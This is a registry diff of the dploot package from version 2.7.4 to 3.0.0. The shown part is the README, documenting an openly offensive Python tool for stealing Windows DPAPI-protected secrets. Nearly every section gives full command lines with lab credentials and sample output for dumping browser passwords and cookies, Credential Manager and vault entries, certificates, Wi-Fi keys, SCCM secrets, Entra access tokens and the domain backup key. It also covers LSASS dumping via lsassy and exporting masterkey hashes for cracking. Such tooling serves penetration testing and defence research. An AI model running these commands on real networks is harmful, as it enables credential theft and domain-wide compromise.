dploot 2.7.4__tar.gz → 3.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. {dploot-2.7.4 → dploot-3.0.0}/PKG-INFO +134 -50
  2. {dploot-2.7.4 → dploot-3.0.0}/README.md +133 -49
  3. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/backupkey.py +32 -21
  4. dploot-3.0.0/dploot/action/blob.py +167 -0
  5. dploot-3.0.0/dploot/action/browser.py +167 -0
  6. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/certificates.py +61 -43
  7. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/credentials.py +56 -38
  8. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinecertificates.py +52 -45
  9. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinecredentials.py +48 -45
  10. dploot-3.0.0/dploot/action/machinemasterkeys.py +117 -0
  11. dploot-3.0.0/dploot/action/machinetriage.py +158 -0
  12. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/machinevaults.py +50 -41
  13. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/masterkeys.py +77 -52
  14. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/mobaxterm.py +67 -25
  15. dploot-3.0.0/dploot/action/rdg.py +132 -0
  16. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/sccm.py +50 -47
  17. dploot-3.0.0/dploot/action/triage.py +187 -0
  18. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/vaults.py +57 -39
  19. dploot-3.0.0/dploot/action/wam.py +133 -0
  20. dploot-3.0.0/dploot/action/wifi.py +137 -0
  21. {dploot-2.7.4 → dploot-3.0.0}/dploot/entry.py +31 -26
  22. dploot-3.0.0/dploot/lib/crypto.py +314 -0
  23. dploot-3.0.0/dploot/lib/dpapi.py +302 -0
  24. dploot-3.0.0/dploot/lib/smb.py +494 -0
  25. {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/target.py +92 -72
  26. dploot-3.0.0/dploot/lib/utils.py +99 -0
  27. {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/wmi.py +25 -11
  28. {dploot-2.7.4 → dploot-3.0.0}/dploot/triage/backupkey.py +26 -24
  29. dploot-3.0.0/dploot/triage/browser.py +335 -0
  30. dploot-3.0.0/dploot/triage/certificates.py +428 -0
  31. dploot-3.0.0/dploot/triage/credentials.py +169 -0
  32. dploot-3.0.0/dploot/triage/masterkeys.py +356 -0
  33. dploot-3.0.0/dploot/triage/mobaxterm.py +660 -0
  34. dploot-3.0.0/dploot/triage/rdg.py +256 -0
  35. dploot-3.0.0/dploot/triage/sccm.py +302 -0
  36. dploot-3.0.0/dploot/triage/vaults.py +314 -0
  37. dploot-3.0.0/dploot/triage/wam.py +250 -0
  38. dploot-3.0.0/dploot/triage/wifi.py +435 -0
  39. dploot-3.0.0/pyproject.toml +85 -0
  40. dploot-2.7.4/dploot/action/browser.py +0 -127
  41. dploot-2.7.4/dploot/action/machinemasterkeys.py +0 -108
  42. dploot-2.7.4/dploot/action/machinetriage.py +0 -152
  43. dploot-2.7.4/dploot/action/rdg.py +0 -126
  44. dploot-2.7.4/dploot/action/triage.py +0 -189
  45. dploot-2.7.4/dploot/action/wifi.py +0 -120
  46. dploot-2.7.4/dploot/lib/crypto.py +0 -268
  47. dploot-2.7.4/dploot/lib/dpapi.py +0 -259
  48. dploot-2.7.4/dploot/lib/smb.py +0 -220
  49. dploot-2.7.4/dploot/lib/utils.py +0 -61
  50. dploot-2.7.4/dploot/triage/browser.py +0 -241
  51. dploot-2.7.4/dploot/triage/certificates.py +0 -276
  52. dploot-2.7.4/dploot/triage/credentials.py +0 -141
  53. dploot-2.7.4/dploot/triage/masterkeys.py +0 -181
  54. dploot-2.7.4/dploot/triage/mobaxterm.py +0 -365
  55. dploot-2.7.4/dploot/triage/rdg.py +0 -208
  56. dploot-2.7.4/dploot/triage/sccm.py +0 -198
  57. dploot-2.7.4/dploot/triage/vaults.py +0 -172
  58. dploot-2.7.4/dploot/triage/wifi.py +0 -192
  59. dploot-2.7.4/pyproject.toml +0 -36
  60. {dploot-2.7.4 → dploot-3.0.0}/LICENSE +0 -0
  61. {dploot-2.7.4 → dploot-3.0.0}/dploot/__init__.py +0 -0
  62. {dploot-2.7.4 → dploot-3.0.0}/dploot/action/__init__.py +0 -0
  63. {dploot-2.7.4 → dploot-3.0.0}/dploot/lib/__init__.py +0 -0
  64. {dploot-2.7.4 → dploot-3.0.0}/dploot/triage/__init__.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: dploot
3
- Version: 2.7.4
3
+ Version: 3.0.0
4
4
  Summary: DPAPI looting remotely in Python
5
5
  Home-page: https://github.com/zblurx/dploot
6
6
  License: MIT
@@ -39,6 +39,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
39
39
  - [Kerberos](#kerberos)
40
40
  - [How to use](#how-to-use)
41
41
  - [As a local administrator on the machine](#as-a-local-administrator-on-the-machine)
42
+ - [With offline access to the Windows' filesystem](#with-offline-access-to-the-windows-filesystem)
42
43
  - [As a domain administrator (or equivalent)](#as-a-domain-administrator-or-equivalent)
43
44
  - [Not as a domain administrator](#not-as-a-domain-administrator)
44
45
  - [Commands](#commands)
@@ -61,8 +62,9 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
61
62
  - [sccm](#sccm)
62
63
  - [backupkey](#backupkey)
63
64
  - [mobaxterm](#mobaxterm)
65
+ - [wam](#wam)
66
+ - [blob](#blob)
64
67
  - [Credits](#credits)
65
- - [TODO](#TODO)
66
68
 
67
69
  ## Installation
68
70
 
@@ -87,33 +89,39 @@ sudo apt install python3-dploot
87
89
  ## Usage
88
90
 
89
91
  ```text
90
- usage: dploot [-h] [-debug] [-quiet] {certificates,credentials,masterkeys,vaults,backupkey,rdg,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi} ...
92
+ dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
93
+ usage: dploot [-h]
94
+ {certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
95
+ ...
91
96
 
92
- DPAPI looting remotely in Python
97
+ DPAPI looting locally remotely in Python
93
98
 
94
99
  positional arguments:
95
- {certificates,credentials,masterkeys,vaults,backupkey,rdg,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi}
100
+ {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
96
101
  Action
97
- certificates Dump users certificates from remote target
98
- credentials Dump users Credential Manager blob from remote target
99
- masterkeys Dump users masterkey from remote target
100
- vaults Dump users Vaults blob from remote target
101
102
  backupkey Backup Keys from domain controller
102
- rdg Dump users saved password information for RDCMan.settings from remote target
103
- triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from remote target
104
- machinemasterkeys Dump system masterkey from remote target
105
- machinecredentials Dump system credentials from remote target
106
- machinevaults Dump system vaults from remote target
103
+ blob Decrypt DPAPI blob. Can fetch masterkeys on target
104
+ browser Dump users credentials and cookies saved in browser from local or remote target
105
+ certificates Dump users certificates from local or remote target
106
+ credentials Dump users Credential Manager blob from local or remote target
107
107
  machinecertificates
108
- Dump system certificates from remote target
109
- machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from remote target
110
- browser Dump users credentials and cookies saved in browser from remote target
111
- wifi Dump wifi profiles from remote target
108
+ Dump system certificates from local or remote target
109
+ machinecredentials Dump system credentials from local or remote target
110
+ machinemasterkeys Dump system masterkey from local or remote target
111
+ machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
112
+ target
113
+ machinevaults Dump system vaults from local or remote target
114
+ masterkeys Dump users masterkey from local or remote target
115
+ mobaxterm Dump Passwords and Credentials from MobaXterm
116
+ rdg Dump users saved password information for RDCMan.settings from local or remote target
117
+ sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
118
+ triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
119
+ vaults Dump users Vaults blob from local or remote target
120
+ wam Dump users cached azure tokens from local or remote target
121
+ wifi Dump wifi profiles from local or remote target
112
122
 
113
123
  options:
114
124
  -h, --help show this help message and exit
115
- -debug Turn DEBUG output ON
116
- -quiet Only output dumped credentials
117
125
  ```
118
126
 
119
127
  ### Kerberos
@@ -129,23 +137,38 @@ The goal of dploot is to simplify DPAPI related loot from a Linux box. As SharpD
129
137
  Whenever you are local administrator of a windows computer, you can loot machine secrets, for example with [machinecertificates](#machinecertificates) (or any other [Machine Triage](#machine-triage) commands, or [wifi](#wifi) command):
130
138
 
131
139
  ```text
132
- $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -quiet
140
+ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet
133
141
  [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
134
142
  ```
135
143
 
144
+ ### With offline access to the Windows' filesystem
145
+
146
+ A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
147
+
148
+ ```text
149
+ $ dploot sccm -root /media/C_drive/ LOCAL
150
+ [*] Connected to LOCAL as \None (admin)
151
+ ```
152
+
153
+ It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
154
+ ```text
155
+ $ dploot masterkeys -root /mnt -u bob -p Password LOCAL
156
+ [*] Connected to LOCAL as \bob (admin)
157
+ ```
158
+
136
159
  ### As a domain administrator (or equivalent)
137
160
 
138
161
  If you have domain admin privileges, you can obtain the domain DPAPI backup key with the backupkey command. This key can decrypt any DPAPI masterkeys for domain users and computers, and it will never change. Therefore, this key allow attacker to loot any DPAPI protected password realted to a domain user.
139
162
 
140
163
  To obtain the domain backupkey, you can use [backupkey](#backupkey) command:
141
164
  ```text
142
- $ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112 -quiet
165
+ $ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
143
166
  [-] Exporting domain backupkey to file key.pvk
144
167
  ```
145
168
 
146
169
  Then you can loot any user secrets stored on a windows domain-joined computer on the network, for example with [certificates](#certificates) command (or any other [User Triage](#user-triage) commands):
147
170
  ```
148
- $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -pvk key.pvk -quiet
171
+ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet
149
172
  [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
150
173
  [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx
151
174
  [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
@@ -156,7 +179,7 @@ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.5
156
179
  If domain admin privileges have not been obtained (yet), using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to dploot to triage the box. Use can also use [lsassy](https://github.com/Hackndo/lsassy) to harvest decrypted masterkeys:
157
180
 
158
181
  ```text
159
- $ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrleakdiag -M masterkeys
182
+ $ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
160
183
  [+] 192.168.56.14 Authentication successful
161
184
  [+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
162
185
  [+] 192.168.56.14 Lsass dump deleted
@@ -168,7 +191,7 @@ $ lsassy -u Administrator -p 'Password!123' -d waza.local 192.168.56.14 -m rdrle
168
191
  Then you can use this masterkey file to loot the targeted computer, for example with [browser](#browser) command (or any other [User Triage](#user-triage) commands):
169
192
 
170
193
  ```text
171
- $ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -mkfile /data/masterkeys
194
+ $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys
172
195
  [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)
173
196
 
174
197
  [*] Triage Browser Credentials for ALL USERS
@@ -179,18 +202,20 @@ Username: zblurx@gmail.com
179
202
  Password: Waza1234
180
203
  ```
181
204
 
205
+ You can also dump masterkey hashes with `-hashes-outputfile` option of [dploot masterkeys](#masterkeys)
206
+
182
207
  ## Commands
183
208
 
184
209
  ### User Triage
185
210
 
186
211
  #### masterkeys
187
212
 
188
- The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options.
213
+ The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. You can eventually use `-hashes-outputfile` to get every masterkey hashes in Hashcat/JtR format in order to crack cleartext password.
189
214
 
190
215
  *With domain backupkey*:
191
216
 
192
217
  ```text
193
- $ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
218
+ $ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
194
219
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
195
220
 
196
221
  [*] Triage ALL USERS masterkeys
@@ -205,7 +230,7 @@ $ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.
205
230
  ```text
206
231
  $ cat passwords
207
232
  jsmith:Password#123
208
- $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -passwords passwords
233
+ $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords
209
234
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
210
235
 
211
236
  [*] Triage ALL USERS masterkeys
@@ -224,7 +249,7 @@ The **credentials** command will search for users Credential files and decrypt t
224
249
  With `mkfile`:
225
250
 
226
251
  ```text
227
- $ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
252
+ $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
228
253
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
229
254
 
230
255
  [*] Triage Credentials for ALL USERS
@@ -255,7 +280,7 @@ Unknown : Password!123
255
280
  With `pvk`:
256
281
 
257
282
  ```text
258
- $ dploot credentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
283
+ $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
259
284
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
260
285
 
261
286
  [*] Triage ALL USERS masterkeys
@@ -285,7 +310,7 @@ The **vaults** command will search for users Vaults secrets and decrypt them wit
285
310
  With `mkfile`:
286
311
 
287
312
  ```text
288
- $ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf
313
+ $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
289
314
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
290
315
 
291
316
  [*] Triage Vaults for ALL USERS
@@ -305,7 +330,7 @@ Decoded Password: test
305
330
  With `pvk`:
306
331
 
307
332
  ```text
308
- $ dploot vaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
333
+ $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
309
334
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
310
335
 
311
336
  [*] Triage ALL USERS masterkeys
@@ -333,7 +358,7 @@ The **rdg** command will search for users RDCMan.settings files secrets and decr
333
358
  With `mkfile`:
334
359
 
335
360
  ```text
336
- $ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waza.local.mkf
361
+ $ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
337
362
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
338
363
 
339
364
  [*] Triage RDCMAN Settings and RDG files for ALL USERS
@@ -364,7 +389,7 @@ $ dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -mkfile waz
364
389
  With `pvk`:
365
390
 
366
391
  ```text
367
- dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
392
+ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
368
393
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
369
394
 
370
395
  [*] Triage ALL USERS masterkeys
@@ -405,7 +430,7 @@ The **certificates** command will search for users certificates from *MY* and de
405
430
  With `mkfile`:
406
431
 
407
432
  ```text
408
- $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
433
+ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
409
434
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
410
435
 
411
436
  [*] Triage Certificates for ALL USERS
@@ -437,7 +462,7 @@ DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
437
462
  With `pvk`:
438
463
 
439
464
  ```text
440
- $ dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
465
+ $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
441
466
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
442
467
 
443
468
  [*] Triage ALL USERS masterkeys
@@ -483,7 +508,7 @@ The **browser** command will search for users password and cookies in chrome bas
483
508
  With `mkfile`:
484
509
 
485
510
  ```text
486
- $ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -mkfile waza.mkf
511
+ $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
487
512
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
488
513
 
489
514
  [*] Triage Browser Credentials for ALL USERS
@@ -497,7 +522,7 @@ Password: Password!123
497
522
  With `pvk`:
498
523
 
499
524
  ```text
500
- $ dploot browser -d waza.local -u Administrator -p 'Password!123' 192.168.57.5 -pvk key.pvk
525
+ $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
501
526
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
502
527
 
503
528
  [*] Triage ALL USERS masterkeys
@@ -527,7 +552,7 @@ The **triage** command runs the user [credentials](#credentials), [vaults](#vaul
527
552
  The **machinemasterkeys** command will dump LSA secrets with RemoteRegistry to retrieve DPAPI_SYSTEM key which will the be used to decrypt any found machine masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.
528
553
 
529
554
  ```text
530
- $ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
555
+ $ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
531
556
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
532
557
 
533
558
  [*] Triage SYSTEM masterkeys
@@ -545,7 +570,7 @@ $ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' 192.
545
570
  The **machinecredentials** command will get any machine Credentials file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI XXX blob.
546
571
 
547
572
  ```text
548
- $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
573
+ $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
549
574
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
550
575
 
551
576
  [*] Triage SYSTEM masterkeys
@@ -576,7 +601,7 @@ Unknown : Password!123
576
601
  The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
577
602
 
578
603
  ```text
579
- $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
604
+ $ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
580
605
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
581
606
 
582
607
  [*] Triage SYSTEM masterkeys
@@ -600,7 +625,7 @@ The **machinecertificates** command will get any machine private key file found
600
625
  It will also dump machine CAPI certificates blob with RemoteRegistry.
601
626
 
602
627
  ```text
603
- $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
628
+ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
604
629
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
605
630
 
606
631
  [*] Triage SYSTEM masterkeys
@@ -648,7 +673,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
648
673
  The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
649
674
 
650
675
  ```text
651
- $ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
676
+ $ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
652
677
  [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
653
678
 
654
679
  [*] Triage SYSTEM masterkeys
@@ -702,7 +727,7 @@ EapHostConfig:
702
727
  The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
703
728
 
704
729
  ```text
705
- $ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
730
+ $ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
706
731
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
707
732
 
708
733
  [*] Triage SYSTEM masterkeys
@@ -728,7 +753,7 @@ The **backupkey** command will retrieve the domain DPAPI backup key from a domai
728
753
  By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
729
754
 
730
755
  ```text
731
- $ dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.57.20
756
+ $ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
732
757
  [*] Connected to dc01.waza.local as waza.local\e.cartman (admin)
733
758
 
734
759
  [DOMAIN BACKUPKEY V2]
@@ -753,7 +778,7 @@ The **mobaxterm** command will extract MobaXterm secrets and masterpassword key
753
778
  With `pvk`:
754
779
 
755
780
  ```text
756
- dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
781
+ dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
757
782
  [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
758
783
 
759
784
  [*] Triage ALL USERS masterkeys
@@ -773,6 +798,68 @@ Username: mobauser@mobaserver
773
798
  Password: 309554moba231082pass322883
774
799
  ```
775
800
 
801
+ ### wam
802
+
803
+ The **wam** command will search for TBRES files from Token Broker Cache and decrypt their content with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.
804
+
805
+ With `pvk`:
806
+
807
+ ```text
808
+ dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
809
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
810
+
811
+ [*] Triage ALL USERS masterkeys
812
+
813
+ {d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
814
+ {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
815
+
816
+ [*] Triage Office Token Broken Cache for ALL USERS
817
+
818
+ [TBRES FILE]
819
+ Version: 1
820
+ expiration: 133668881920000000
821
+ responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
822
+ WTRes_Token: access_token=eyJhb[...]
823
+ ```
824
+
825
+ ***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*
826
+
827
+ ### blob
828
+
829
+ The **blob** command will decrypt DPAPI blob with `-mkfile FILE` of one or more {GUID}:SHA1, `-masterkey {GUID}:SHA1` or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.
830
+
831
+ With `pvk`:
832
+
833
+ ```text
834
+ dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
835
+ [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
836
+
837
+ [*] Triage ALL USERS masterkeys
838
+
839
+ {d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
840
+ {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
841
+
842
+ [*] Trying to decrypt DPAPI blob
843
+
844
+ [BLOB]
845
+ Version : 1 (1)
846
+ Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
847
+ MasterKeyVersion : 1 (1)
848
+ Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B
849
+ Flags : 0 ()
850
+ Description :
851
+ CryptAlgo : 00006603 (26115) (CALG_3DES)
852
+ Salt : b'a5a15df8f0fb606897f28966dd5fcd9e'
853
+ HMacKey : b''
854
+ HashAlgo : 00008004 (32772) (CALG_SHA)
855
+ HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a'
856
+ Data : b'5ece8ce1dd8[...]
857
+
858
+ Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
859
+ ```
860
+
861
+ ***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*
862
+
776
863
  ## Credits
777
864
 
778
865
  Those projects helped a lot in writting this tool:
@@ -781,8 +868,5 @@ Those projects helped a lot in writting this tool:
781
868
  - [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) by [Harmj0y](https://twitter.com/harmj0y)
782
869
  - [Mimikatz](https://github.com/gentilkiwi/mimikatz/) by [gentilkiwi](https://twitter.com/gentilkiwi)
783
870
  - [DonPAPI](https://github.com/login-securite/DonPAPI) by [LoginSecurite](https://twitter.com/LoginSecurite)
784
-
785
- ## TODO
786
-
787
- - Implement LOCAL triage (with extracted stuff)
871
+ - [WAMBam](https://github.com/xpn/WAMBam) by [_xpn_](https://twitter.com/_xpn_)
788
872